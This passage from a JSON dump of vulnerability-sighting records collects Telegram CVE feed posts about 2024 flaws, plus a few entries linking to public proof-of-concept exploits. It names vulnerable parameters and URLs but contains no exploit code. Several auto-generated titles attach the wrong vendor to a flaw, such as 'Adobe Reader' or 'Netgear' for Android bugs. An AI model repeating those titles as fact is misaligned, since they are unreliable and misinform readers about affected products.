Injection.\n\n3x => CVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n4x => CVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n5x => CVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n6x => CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n7x => CVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n8x => CVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n9x => CVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\nEnjoy;", "creation_timestamp": "2025-03-16T00:41:48.000000Z"}, {"uuid": "7b1bf77d-5ca7-4423-b73c-e3f2bd15d80b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40124", "type": "seen", "source": "https://t.me/cvedetector/23251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40124 - Pydio Core Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40124 \nPublished : April 17, 2025, 5:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : Pydio Core <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-17T20:30:22.000000Z"}, {"uuid": "4c84f4b1-f33e-4c69-88db-9ac16c4139a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/CyberBulletin/1196", "content": "\u26a1\ufe0fAkira Ransomware Exploit CVE-2024-40766 in SonicWall SonicOS.\n\n#CyberBulletin", "creation_timestamp": "2024-10-22T14:44:31.000000Z"}, {"uuid": "aef33631-2e06-4a15-a1a7-44100e88213c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "seen", "source": "https://t.me/cvedetector/23524", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40445 - Forkosh Mime Tex Directory Traversal Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40445 \nPublished : April 22, 2025, 2:15 p.m. | 1\u00a0hour, 45\u00a0minutes ago \nDescription : Directory Traversal vulnerability in forkosh Mime Tex before v.1.77 allows an attacker to execute arbitrary code via a crafted file upload \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-22T18:24:18.000000Z"}, {"uuid": "8d20b744-e713-4e95-a2aa-e3172ae4a422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "seen", "source": "https://t.me/cvedetector/23525", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40446 - Forkosh Mime Tex Script Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40446 \nPublished : April 22, 2025, 2:15 p.m. | 1\u00a0hour, 45\u00a0minutes ago \nDescription : An issue in forkosh Mime Tex before v.1.77 allows an attacker to execute arbitrary code via a crafted script \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-22T18:24:19.000000Z"}, {"uuid": "8328ba92-e733-4cff-bff8-c093900dbf28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40651", "type": "seen", "source": "https://t.me/cvedetector/16640", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40651 - \u250c Linux Kernel Use-After-Free Vulnerability in TBD\", \n  \"Content\": \"CVE ID : CVE-2024-40651 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In TBD of TBD, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:28.000000Z"}, {"uuid": "b556aa33-7626-4530-919a-1b6928a6a8ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40649", "type": "seen", "source": "https://t.me/cvedetector/16639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40649 - Apache Linux Kernel Use-After-Free Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40649 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In TBD of TBD, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:27.000000Z"}, {"uuid": "49777d48-cfbe-4915-8fc7-88ca424fc467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://t.me/cvedetector/16638", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40677 - Samsung AdvancedPowerUsage Denial of Service Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40677 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In shouldSkipForInitialSUW of AdvancedPowerUsageDetail.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:27.000000Z"}, {"uuid": "fc8fef30-0778-4fc4-bdcf-158c846c2615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40676", "type": "seen", "source": "https://t.me/cvedetector/16637", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40676 - Google AccountManagerService Confused Deputy Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40676 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In checkKeyIntent of AccountManagerService.java, there is a possible way to bypass intent security check and install an unknown app due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:26.000000Z"}, {"uuid": "512b5d26-8004-40b8-8399-07cd3d6a6966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://t.me/cvedetector/16636", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40675 - Android Intent parseUriInternal Infinite Loop Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40675 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In parseUriInternal of Intent.java, there is a possible infinite loop due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:22.000000Z"}, {"uuid": "feac0652-a1ca-4da6-8874-3521e0b2ddfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40674", "type": "seen", "source": "https://t.me/cvedetector/16635", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40674 - \"Netgear WifiConfiguration Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40674 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In validateSsid of WifiConfigurationUtil.java, there is a possible way to overflow a system configuration file due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:21.000000Z"}, {"uuid": "7b781eaa-e810-47d0-89bc-2efa513b9255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://t.me/cvedetector/16634", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40673 - Apache ZipFile Java Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40673 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In Source of ZipFile.java, there is a possible way for an attacker to execute arbitrary code by manipulating Dynamic Code Loading due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:21.000000Z"}, {"uuid": "035e6b80-96a8-4918-a7ec-75a3b612dd52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "seen", "source": "https://t.me/cvedetector/16633", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40672 - Samsung Android ChooserActivity Java Missing Permission Check Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40672 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In onCreate of ChooserActivity.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:20.000000Z"}, {"uuid": "d258df93-907f-4b8a-8351-7f32e99f9556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40670", "type": "seen", "source": "https://t.me/cvedetector/16632", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40670 - Adobe Reader Use After Free (Local Privilege Escalation)\", \n  \"Content\": \"CVE ID : CVE-2024-40670 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In TBD of TBD, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:19.000000Z"}, {"uuid": "599b01a6-3c2e-4703-ad4e-19cfbdfc4e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40669", "type": "seen", "source": "https://t.me/cvedetector/16631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40669 - Apache TBD Heap Use-After-Free Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40669 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : In TBD of TBD, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:16.000000Z"}, {"uuid": "6626b3c7-eca9-4f43-b7d0-e9f2ac514a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40884", "type": "seen", "source": "https://t.me/cvedetector/3937", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40884 - Mattermost Persistent Privilege Escalation/Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40884 \nPublished : Aug. 22, 2024, 4:15 p.m. | 39\u00a0minutes ago \nDescription : Mattermost versions 9.5.x Severity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-22T19:23:17.000000Z"}, {"uuid": "e576609f-5ede-43be-ab7e-20b062836874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40071", "type": "seen", "source": "https://t.me/cvedetector/23143", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40071 - Sourcecodester Online ID Generator System PHP File Upload Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40071 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain an arbitrary file upload vulnerability via id_generator/classes/SystemSettings.php?f=update_settings. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:36.000000Z"}, {"uuid": "0dba6629-a4e6-493b-8b63-c93de8677d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40070", "type": "seen", "source": "https://t.me/cvedetector/23141", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40070 - Sourcecodester Online ID Generator System Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40070 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain an arbitrary file upload vulnerability via id_generator/classes/Users.php?f=save. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:32.000000Z"}, {"uuid": "869e8077-1d21-456a-8021-23c1289e7629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40069", "type": "seen", "source": "https://t.me/cvedetector/23140", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40069 - Sourcecodester Online ID Generator System Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-40069 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain Stored Cross Site Scripting (XSS) via id_generator/classes/Users.php?f=save, and the point of vulnerability is in the POST parameter 'firstname' and 'lastname'. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:31.000000Z"}, {"uuid": "940b8cbd-4dce-4199-a2cd-23b110cca73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40068", "type": "seen", "source": "https://t.me/cvedetector/23139", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40068 - Sourcecodester Online ID Generator System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40068 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain a SQL injection vulnerability via the id parameter at id_generator/admin/?page=templates/manage_template&id=1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:30.000000Z"}, {"uuid": "4102eb7e-7131-47f8-99c0-e14d18d97d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40074", "type": "seen", "source": "https://t.me/cvedetector/23134", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40074 - Sourcecodester Online ID Generator System Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-40074 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain Stored Cross Site Scripting (XSS) via id_generator/classes/SystemSettings.php?f=update_settings, and the point of vulnerability is in the POST parameter 'short_name'. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:24.000000Z"}, {"uuid": "c0b971fa-3029-40ac-93a1-0141d3eec7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40073", "type": "seen", "source": "https://t.me/cvedetector/23133", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40073 - Sourcecodester Online ID Generator System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40073 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain a SQL injection vulnerability via the template parameter at id_generator/admin/?page=generate&template=4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:23.000000Z"}, {"uuid": "2332389e-3897-4e27-bd5a-bdd6bedc9f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40072", "type": "seen", "source": "https://t.me/cvedetector/23132", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40072 - Sourcecodester Online ID Generator System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40072 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : Sourcecodester Online ID Generator System 1.0 was discovered to contain a SQL injection vulnerability via the id parameter at id_generator/admin/?page=generate/index&id=1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T20:14:22.000000Z"}, {"uuid": "e6d2c61c-cc8c-45c7-a20e-3b48f5825e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40590", "type": "seen", "source": "https://t.me/cvedetector/20295", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40590 - FortiPortal Certificate Validation Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-40590 \nPublished : March 14, 2025, 3:15 p.m. | 15\u00a0minutes ago \nDescription : An\u00a0improper certificate validation vulnerability [CWE-295] in FortiPortal version 7.4.0, version 7.2.4 and below, version 7.0.8 and below, version 6.0.15 and below when connecting to a FortiManager device, a FortiAnalyzer device, or an SMTP server may allow an unauthenticated attacker in a Man-in-the-Middle position to intercept on and tamper with the encrypted communication channel established between the FortiPortal and those endpoints. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T16:42:25.000000Z"}, {"uuid": "ebe2e817-10d4-4ca8-a4fb-16c83063c091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40585", "type": "seen", "source": "https://t.me/cvedetector/20322", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40585 - FortiManager/FortiAnalyzer Log Injection Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40585 \nPublished : March 14, 2025, 4:15 p.m. | 1\u00a0hour, 19\u00a0minutes ago \nDescription : An insertion of sensitive information into log file vulnerabilities [CWE-532] in FortiManager version 7.4.0, version 7.2.3 and below, version 7.0.8 and below, version 6.4.12 and below, version 6.2.11 and below and FortiAnalyzer version 7.4.0, version 7.2.3 and below, version 7.0.8 and below, version 6.4.12 and below, version 6.2.11 and below eventlog may allow any low privileged user with access to event log section to retrieve certificate private key and encrypted password logged as system log. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T19:13:20.000000Z"}, {"uuid": "bd644190-94fd-4057-9727-9a2680deeeba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/HackingInsights/12481", "content": "\u200aSonicWall Confirms Critical CVE-2024-40766 Vulnerability Actively Exploited in the Wild\n\nhttps://securityonline.info/sonicwall-confirms-critical-cve-2024-40766-vulnerability-actively-exploited-in-the-wild/", "creation_timestamp": "2024-09-08T17:48:03.000000Z"}, {"uuid": "03392864-cbf4-4c69-a31f-8521cc6cb356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/3522", "content": "#exploit\n1. CVE-2024-40711:\nVeeam Backup & Response - RCE\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2\n\n2. CVE-2024-28000:\nLiteSpeed Cache Privilege Escalation\nhttps://github.com/Alucard0x1/CVE-2024-28000\n\n3. CVE-2024-6800:\nGHES Authentication Bypass\nhttps://cyble.com/blog/saml-exploit-github-cve-2024-6800", "creation_timestamp": "2024-09-10T10:01:29.000000Z"}, {"uuid": "4e40b24f-7ba0-49cb-9246-9e66dcc26503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://t.me/cvedetector/17181", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40890 - Zyxel VMG4325-B10A Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40890 \nPublished : Feb. 4, 2025, 10:15 a.m. | 47\u00a0minutes ago \nDescription : **UNSUPPORTED WHEN ASSIGNED**  \nA post-authentication command injection vulnerability in the CGI program of the legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0_20170615 could allow an authenticated attacker to execute operating system (OS) commands on an affected device by sending a crafted HTTP POST request. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-04T12:13:04.000000Z"}, {"uuid": "19084a04-0c3d-43c8-ad4a-32cd7ef93e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/cvedetector/17177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40891 - Zyxel Legacy DSL CPE Zyxel VMG4325-B10A Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40891 \nPublished : Feb. 4, 2025, 10:15 a.m. | 47\u00a0minutes ago \nDescription : **UNSUPPORTED WHEN ASSIGNED**  \nA post-authentication command injection vulnerability in the management commands of the legacy DSL CPE Zyxel VMG4325-B10A firmware version\u00a01.00(AAFR.4)C0_20170615 could allow an authenticated attacker to execute operating system (OS) commands\u00a0on an affected device via Telnet. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-04T12:12:58.000000Z"}, {"uuid": "62b65e8e-1223-400e-ac74-b60244dbccff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/571", "content": "#exploit\n1. CVE-2023-41538:\nphpjabbers PHP Forum XSS\nhttps://github.com/codeb0ss/CVE-2023-41538-PoC\n\n2. Exploiting the EvilVideo vulnerability on 